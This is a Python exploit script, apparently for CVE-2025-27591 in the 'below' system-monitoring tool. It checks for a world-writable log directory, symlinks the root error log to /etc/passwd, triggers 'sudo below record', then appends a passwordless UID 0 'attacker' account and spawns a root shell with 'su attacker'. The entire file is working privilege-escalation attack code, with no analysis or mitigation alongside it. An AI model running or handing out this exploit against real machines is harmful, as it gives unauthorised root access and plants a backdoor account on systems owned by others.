#!/usr/bin/env python3 import os import subprocess import sys import pty BINARY = "/usr/bin/below" LOG_DIR = "/var/log/below" TARGET_LOG = f"{LOG_DIR}/error_root.log" TMP_PAYLOAD = "/tmp/attacker" MALICIOUS_PASSWD_LINE = "attacker::0:0:attacker:/root:/bin/bash\n" def check_world_writable(path): st = os.stat(path) return bool(st.st_mode & 0o002) def is_symlink(path): return os.path.islink(path) def run_cmd(cmd, show_output=True): if show_output: print(f"[+] Running: {cmd}") try: return subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, text=True) except subprocess.CalledProcessError as e: if show_output: print(f"[-] Command failed: {e.output}") return None def check_vulnerability(): print("[*] Checking for CVE-2025-27591 vulnerability...") if not os.path.exists(LOG_DIR): print(f"[-] Log directory {LOG_DIR} does not exist.") return False if not check_world_writable(LOG_DIR): print(f"[-] {LOG_DIR} is not world-writable.") return False print(f"[+] {LOG_DIR} is world-writable.") if os.path.exists(TARGET_LOG): if is_symlink(TARGET_LOG): print(f"[+] {TARGET_LOG} is already a symlink. Looks exploitable.") return True else: print(f"[!] {TARGET_LOG} is a regular file. Removing it...") os.remove(TARGET_LOG) try: os.symlink("/etc/passwd", TARGET_LOG) print(f"[+] Symlink created: {TARGET_LOG} -> /etc/passwd") os.remove(TARGET_LOG) return True except Exception as e: print(f"[-] Failed to create symlink: {e}") return False def exploit(): print("[*] Starting exploitation...") with open(TMP_PAYLOAD, "w") as f: f.write(MALICIOUS_PASSWD_LINE) print(f"[+] Wrote malicious passwd line to {TMP_PAYLOAD}") if os.path.exists(TARGET_LOG): os.remove(TARGET_LOG) os.symlink("/etc/passwd", TARGET_LOG) print(f"[+] Symlink set: {TARGET_LOG} -> /etc/passwd") print("[*] Executing 'below record' as root to trigger logging...") try: subprocess.run(["sudo", BINARY, "record"], timeout=40) print("[+] 'below record' executed.") except subprocess.TimeoutExpired: print("[-] 'below record' timed out (may still have written to the file).") except Exception as e: print(f"[-] Failed to execute 'below': {e}") print("[*] Appending payload into /etc/passwd via symlink...") try: with open(TARGET_LOG, "a") as f: f.write(MALICIOUS_PASSWD_LINE) print("[+] Payload appended successfully.") except Exception as e: print(f"[-] Failed to append payload: {e}") print("[*] Attempting to switch to root shell via 'su attacker'...") try: pty.spawn(["su", "attacker"]) except Exception as e: print(f"[-] Failed to spawn shell: {e}") return False def main(): if not check_vulnerability(): print("[-] Target does not appear vulnerable.") sys.exit(1) print("[+] Target is vulnerable.") if not exploit(): print("[-] Exploitation failed.") sys.exit(1) if __name__ == "__main__": main()